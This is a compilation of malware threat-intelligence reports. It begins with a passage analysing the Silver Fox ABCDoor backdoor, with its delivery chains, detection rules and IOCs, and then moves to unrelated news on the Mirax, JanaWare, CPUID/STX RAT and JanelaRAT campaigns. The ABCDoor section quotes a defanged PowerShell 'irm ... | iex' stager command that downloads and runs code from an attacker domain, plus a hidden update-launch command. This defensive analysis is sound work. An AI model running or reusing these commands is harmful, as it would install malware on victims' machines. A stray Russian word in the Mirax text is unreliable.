First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.

The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:

• Emulating a double click while broadcasting the victim’s screen
• A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension

For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.

Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:

• Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
• Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
• Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance

Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:

powershell -Command "Start-Sleep -Seconds 5; Start-Process -FilePath \"%TEMP%\tmpXXXXXXXX\update\update.ps1\" -ArgumentList \"%LOCALAPPDATA%\appclient\" -WindowStyle Hidden"

The existing ABCDoor process is then forcibly terminated.

ABCDoor versions

Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:

Version	Compiled date (UTC)	Key updates	ABCDoor .pyd MD5 hash
121	2024.12.19 18:27:11	–  Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg) –  No OOP used –  Registry persistence	5b998a5bc5ad1c550564294034d4a62c
143	2025.02.04 01:15:00	Client updates –  Task scheduler persistence –  OOP implementation (classes) –  Clipboard management –  Process management –  Asymmetric file and directory encryption	c50c980d3f4b7ed970f083b0d37a6a6a
152	2025.04.01 15:39:36	–  DPAPI encryption functions –  Chunked file uploading to C2	de8f0008b15f2404f721f76fac34456a
154	2025.05.09 13:36:24	–  Implementation of installation channels –  Key combination emulation	9bf9f635019494c4b70fb0a7c0fb53e4
156	2025.08.11 13:36:10	–  Retrieval and logging of initial installation time to the registry	a543b96b0938de798dd4f683dd92a94a
157	2025.08.28 14:23:57	–  Use of DDA source in ffmpeg for monitor screen broadcasting	fa08b243f12e31940b8b4b82d3498804
157	2025.09.23 11:38:17	–  Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)	13669b8f2bd0af53a3fe9ac0490499e5

Evolution of ABCDoor distribution methods

Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:

• • C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
  • Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
    

    powershell.exe -Command "irm hxxps://abc.fetish-friends[.]com/setup/install | iex"

    
    This script downloaded the ABCDoor archive and launched it.

Later, from May to August 2025, Silver Fox varied their delivery techniques through several methods:

• • • Utilizing TinyURL:Stagers initially queried TinyURL links, which then redirected to the full addresses for downloading the next stage:
      • hxxps://tinyurl[.]com/4nzkync8 -> hxxps://roldco[.]com/api/download/c51bbd17-ef08-4d6c-ab4c-d7bf49483dd6
      • hxxps://tinyurl[.]com/bde63yuu -> hxxps://sudsmama[.]com/api/download/c8ea0a2c-42c2-4159-9337-ee774ed5e7cb
    • Utilizing URLs with arguments formatted as channel=[word_MMDD]:
    • hxxps://abc.fetish-friends[.]com/setup?channel=jiqi_0819
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=whatsapp_0826
    • hxxps://abc.fetish-friends[.]com/setup/install?channel=dianhua-0903

Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:

• • • RemoteInstaller_20250803165259_whatsapp.exe (MD5: 4d343515f4c87b9a2ffd2f46665d2d57)
    • RemoteInstaller_20250806_004447_jiqi.exe (MD5: dfc64dd9d8f776ca5440c35fef5d406e)
    • RemoteInstaller_20250808_174554_dianhua.exe (MD5: eefc28e9f2c0c0592af186be8e3570d2)
    • MCA-Ministry.exe (MD5: 6cf382d3a0eae57b8baaa263e4ed8d00)
    • MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a)
    • MCA-Ministry.exe (MD5: d17caf6f5d6ba3393a3a865d1c43c3d2)

The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:

hxxps://tinyurl[.]com/322ccxbf -> hxxps://sudsmama.com/api/download/50e24b3a-8662-4d2f-9837-8cc62aa8f697

Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:

• • • CBDT.zip (MD5: 6495c409b59deb72cfcb2b2da983b3bb) (Related material.exe)
    • November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
    • December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
    • December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
    • Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)

The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.

When executed, the SFX archive ran the following script:

This script launched run_direct.ps1, a PowerShell script contained within the archive.

The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:

The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

Statistics on Attachment Threats Types. trojans accounted for the largest share of attachment-based threats in March 2026 at 21%. phishing (FakePage) came in at 15%, with a significant month-over-month decrease in share from 42% to 15%, but a slight decrease in volume. downloaders were identified at 9% and droppers at 7%. trojans continue to circulate […]

Overview ahnLab monitored APT attacks against domestic targets during the month of March 2026. most of the attacks were launched through Spear Phishing emails sent after reconnaissance of specific targets. APT Attack Trends in Korea the majority of distribution vectors were shortcut (.lnk) files, with LNK-based attacks dominating. Type A is to run PowerShell with […]

New research from Zimperium reveals four active Android malware campaigns, RecruitRat, SaferRat, Astrinox, and Massiv, targeting over 800 banking apps globally.

Mirax, a new Android RAT, spread via Meta ads, infected 220,000 users and turns devices into SOCKS5 proxies, giving attackers full remote control.

Mirax is a new Android remote access trojan spreading through ads on Meta platforms, targeting mainly Spanish-speaking users and reaching over 220,000 accounts. The malicious code lets attackers fully control infected devices in real time and goes further by turning them into SOCKS5 proxy nodes, routing malicious traffic through victims’ IPs.

The Android RAT is sold as malware-as-a-service, and shows how mobile threats are evolving in scale and sophistication.

“Mirax is a newly identified Android Remote Access Trojan (RAT) and banking malware that has rapidly gained traction within the cybercriminal ecosystem. Publicly promoted on underground forums since December 19, 2025, it has been actively monitored by the Cleafy Threat Intelligence team since March 2026, when multiple campaigns targeting primarily Spanish-speaking regions were observed.” reads the report published by Cleafy. “Unlike typical MaaS offerings, Mirax is distributed through a highly controlled and exclusive model, limited to a small number of affiliates. “

Mirax is distributed through a multi-stage campaign using Meta ads on platforms like Facebook and Instagram to lure users into downloading malicious apps. Victims are redirected to phishing sites offering fake services, such as illegal sports streaming apps, exploiting users’ привычка to sideload APKs. The sites restrict access to mobile devices to avoid detection.

The malware is delivered via droppers hosted on GitHub Releases, frequently updated and repacked to evade security checks. Once installed, the dropper unpacks the payload, applies strong obfuscation, and connects via WebSockets. Attackers also reuse existing GitHub releases instead of creating new ones, making detection harder.

The campaign reached over 200,000 users and reflects a growing trend of abusing legitimate platforms, combining social engineering, evasive techniques, and scalable distribution methods.

Mirax uses a two-stage infection chain with a dropper designed to hide the real malware and its permissions. The malicious code is disguised as an IPTV app and tricks users into enabling installation from unknown sources. The dropper contains an encrypted .dex file hidden deep in the app structure, using obfuscation and uncommon paths to evade analysis. Once executed, it extracts and decrypts the payload using RC4 with a hardcoded key, revealing the malicious code.

The final payload is another encrypted APK stored inside the app, decrypted via XOR and then installed. In some cases, it could also be downloaded remotely. The malware relies on packers like Golden Encryption to avoid detection and uses dynamic loading to stay hidden.

“One interesting section of the documentation explains the different packer options that the builder offers: Virbox and Golden Encryption. While the former is easy to detect thanks to multiple indicators in the code, Golden Encryption (also known as Golden Crypt) is not well documented but is widely used and promoted on underground malware forums.” continues the report. “This packer was also used in Albiriox“.

After installation, it poses as a video app and requests Accessibility permissions. Once granted, it runs in the background, displays fake error pages, and uses overlays to bypass security controls and maintain persistence.

After installation, the malware mimics a video app and requests Accessibility permissions to gain control.

With these permissions, Mirax runs silently, using overlays and fake pages to steal credentials and bypass protections. It offers full RAT capabilities, including screen control, data theft, app management, and spyware functions.

It communicates with command-and-control servers via WebSockets, enabling real-time control and data exfiltration. A key feature is its ability to turn infected devices into SOCKS5 residential proxies, masking attacker activity and enabling broader attacks like fraud, lateral movement, and DDoS.

Mirax highlights the evolution of Android malware, shifting from broad malware-as-a-service to a more restricted “private MaaS” model. By limiting access to trusted actors, attackers reduce the risk of leaks and detection. This approach allows the malware to operate more stealthily and remain active for longer periods without attracting attention.

Attackers abuse trusted platforms to spread malware at scale, using evasion tricks to bypass detection and reach hundreds of thousands of users quickly.

“The introduction of SOCKS5 and residential proxy functionality into an Android RAT is groundbreaking for several reasons. Firstly, malware developers recognize the profitability of residential proxies, as they can obscure the origin IP address, making it appear to originate from legitimate subnets.” concludes the report. “Furthermore, a residential proxy application needs fewer permissions than a Remote Access Trojan (RAT). This reduced requirement allows the threat actor to deploy it even if the full infection process is incomplete. Consequently, the actor avoids losing these devices entirely and can maintain their inclusion in the botnet.”

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, Mirax Android RAT)

A newly identified cyber campaign involving JanaWare ransomware is targeting users in Turkey, with researchers linking the activity to a customized version of the Adwind Remote Access Trojan (RAT). The findings come from an analysis by researchers at Acronis’ Threat Research Unit (TRU), who identified the threat cluster during an investigation into suspicious Java-based malware samples. According to the researchers, the JanaWare ransomware operation appears to have been active since at least 2020. Evidence from malware samples and infrastructure indicates that the campaign has continued into late 2025, suggesting sustained activity with limited visibility. The attack relies on a modified Adwind RAT that includes polymorphic capabilities. This allows the malware to change its structure across infections, making detection more difficult. Combined with code obfuscation, these techniques have likely contributed to the campaign remaining relatively unnoticed. Unlike large ransomware groups that focus on high-value enterprise targets, JanaWare ransomware appears to follow a different strategy. Observed ransom demands range between $200 and $400, pointing to a model that prioritizes volume over large individual payouts.

Phishing Identified as Primary Infection Vector

The JanaWare ransomware campaign primarily spreads through phishing emails. Victims are lured into clicking malicious links, which lead to the download of a Java archive file. In many observed cases, the payload is hosted on cloud storage platforms. Telemetry data reviewed by researchers shows a consistent attack chain. A phishing email is opened in Microsoft Outlook, followed by a browser session that downloads the malicious file. The file is then executed using Java, triggering the infection. [caption id="attachment_111347" align="aligncenter" width="761"] Image Source: Acronis’ Threat Research Unit (TRU)[/caption] User reports on public cybersecurity forums also describe similar incidents, supporting the assessment that phishing is the main entry point.

Geofencing Restricts Janaware Ransomware Attacks to Turkey

A key feature of the JanaWare ransomware is its use of geofencing. The malware is designed to execute only on systems that meet specific regional criteria linked to Turkey. It checks system language, locale settings, and external IP geolocation before proceeding. If the system does not match Turkish parameters, the malicious activity is halted. Researchers note that this approach likely serves both operational and defensive purposes. It allows attackers to focus on a specific region while reducing exposure to global security monitoring and automated analysis systems.

Obfuscation and Polymorphism Hinder Detection

The JanaWare ransomware incorporates multiple techniques to evade detection. Researchers identified the use of known obfuscation tools such as Stringer and Allatori, alongside custom methods that complicate analysis. The malware also includes a self-modifying component that alters its file structure during deployment. By adding random data to its Java archive, each instance generates a unique file hash, limiting the effectiveness of signature-based detection. In addition, the malware contains embedded configuration parameters that control its behavior. These include command-and-control server details, communication ports, and authentication values used during initial connections.

Security Controls Disabled Before Encryption Stage

Before encrypting files, the malware attempts to weaken system defenses. It executes commands to disable Microsoft Defender, suppress security alerts, and remove recovery mechanisms such as Volume Shadow Copies. It also interferes with Windows Update and scans for installed antivirus software. These steps reduce the likelihood of detection or recovery once the ransomware payload is activated. The encryption process is carried out by a secondary module delivered after the initial compromise. This module uses AES encryption and communicates with command-and-control infrastructure over the Tor network.

Turkish-Language Ransom Notes Signal Targeted Approach

After encryption, the malware drops ransom notes across affected systems. These notes are written in Turkish and instruct victims to contact the attackers through encrypted communication channels such as qTox or Tor-based websites. Researchers say the consistent use of Turkish-language content, combined with geofencing, indicates a deliberate focus on users in Turkey rather than a broad, global campaign. The JanaWare ransomware campaign highlights how targeted, lower-profile operations can persist over long periods without drawing significant attention. By focusing on home users and small businesses, and keeping ransom demands relatively low, the attackers appear to maintain a steady but less visible operation. Researchers caution that such localized campaigns may continue to operate alongside larger ransomware groups, adding another layer to the evolving threat landscape.

Threat actors compromised the CPUID website and spread STX RAT through fake CPU-Z and HWMonitor downloads.

Attackers breached the website CPUID and replaced download links for CPU-Z and HWMonitor with malicious files for several hours. Users who downloaded them got infected with the STX RAT, giving attackers remote access to their systems. The short attack window still exposed many users to compromise.

Investigations show attackers compromised a secondary API for about six hours, causing the site to display malicious links. The maintainers of the website confirmed that the original signed files remain safe, and the issue has been fixed.

Here is the small statement I sent to everyone…

Hi,

Investigations are still ongoing, but it appears that a secondary feature (basically a side API) was compromised for approximately six hours between April 9 and April 10, causing the main website to randomly display… https://t.co/ZfHRoWwkOM

— Doc TB (@d0cTB) April 10, 2026

Kaspersky reported that on April 9, 2026, the CPUID website was compromised, and download links for tools like CPU-Z and HWMonitor were redirected to malicious domains for several hours. Attackers used these sites to distribute infected installers, and Kaspersky published related indicators of compromise.

“We observed that starting from approximately April 9, 15:00 UTC, until about April 10, 10:00 UTC, the legitimate download URLs for installers of that software have been replaced” states Kaspersky. “with URLS to the following malicious websites:

• vatrobran[.]hr.
• cahayailmukreatif.web[.]id;
• pub-45c2577dbd174292a02137c18e7b1b5a.r2[.]dev;
• transitopalermo[.]com;

Kaspersky found that attackers distributed trojanized CPU-Z and HWMonitor installers with a malicious DLL (“CRYPTBASE.dll”) using DLL sideloading. The DLL handled C2 communication, anti-sandbox checks, and payload delivery, reusing infrastructure from a previous fake FileZilla campaign.

“The interesting part here is that the attackers reused both the C2 address and the connection configuration from the March 2026 campaign where the attackers hosted a fake FileZilla (an open-source FTP client) site distributing malicious downloads.” continues the report. “The configuration embedded in the DLL is presented further. The “referrer” field in the configuration equals “cpz” which tends to be a shorthand for “CPU-Z”.”

The attack ultimately deployed a sophisticated RAT after multiple staged loaders. Attackers reused the known STX RAT, making detection easier thanks to existing rules. Despite compromising a popular software site, they failed to evade detection. Researchers found over 150 victims, mainly individuals but also organizations across multiple sectors, with most cases in Brazil, Russia, and China.

Kaspersky experts advise checking DNS logs and systems for signs of infection.

“Compared to other recently occurred watering hole and supply chain attacks, such as the Notepad++ supply chain attack, the attack on the cpuid.com website was orchestrated quite poorly.” concludes the report. “The gravest mistake attackers made was to reuse the same infection chain involving STX RAT, and the same domain names for C2 communication, from the previous attack related to fake FileZilla installers.”

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, CPUID)

Description. analysis of ASEC’s ASD logs for Q1 2026 showed a consistent trend of attacks against MS-SQL and MySQL. the number of attacks tended to decrease temporarily in February before increasing again in March. Purpose and Scope. this report summarizes the statistics of attacks targeting MS-SQL and MySQL servers installed on Windows and the malware […]

Description. AhnLab SEcurity intelligence Center (ASEC) analyzed the attack status and malware statistics of Windows web servers in the first quarter of 2026 based on AhnLab Smart Defense (ASD) logs. the analysis covers Internet Information Services (IIS) and Apache Tomcat web servers in Windows environments. command execution through the web shell is the main path […]

Background

JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.

JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.

The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.

Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.

Initial infection

JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.

Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.

However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.

Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.

Initial dropper

The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.

Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.

The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.

Malicious implant

In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.

JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.

The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.

String encryption

All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.

C2 communication and command handling

After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.

Following socket initialization, the malware launches two background routines:

1. User inactivity and session tracking
   This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
   

   Timer that looks for 10 minutes of inactivity

2. Victim registration and further malicious activity
   This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
   1. The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.

      This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:

      <C2Domain>?VS=<malwareversion>&PL=<profilelevel>&AN=<presenceofbankingsoftware>

      We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.

      Parameter	Description
      VS	JanelaRAT version
      PL	OFF by default
      AN	Yes or No depending on whether banking security software process exists

   2. The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.

